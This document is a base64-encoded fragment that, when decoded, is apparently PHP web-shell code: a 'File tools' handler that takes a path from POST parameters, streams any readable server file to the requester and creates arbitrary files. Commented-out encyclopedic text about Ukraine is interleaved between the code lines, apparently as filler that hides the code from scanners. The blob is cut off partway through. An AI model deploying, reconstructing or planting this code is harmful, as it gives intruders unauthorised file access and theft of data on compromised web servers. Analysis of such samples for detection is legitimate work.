aW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCWlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwoJCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwoJCQl9CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKCQkJCWZjbG9zZSgkZnApOwoJCQl9Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCX0gZWxzZWlmKGlzX2RpcigkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCgkJfQoJCWV4aXQ7Cgl9CglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJfQoJCX0KCX0KCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGV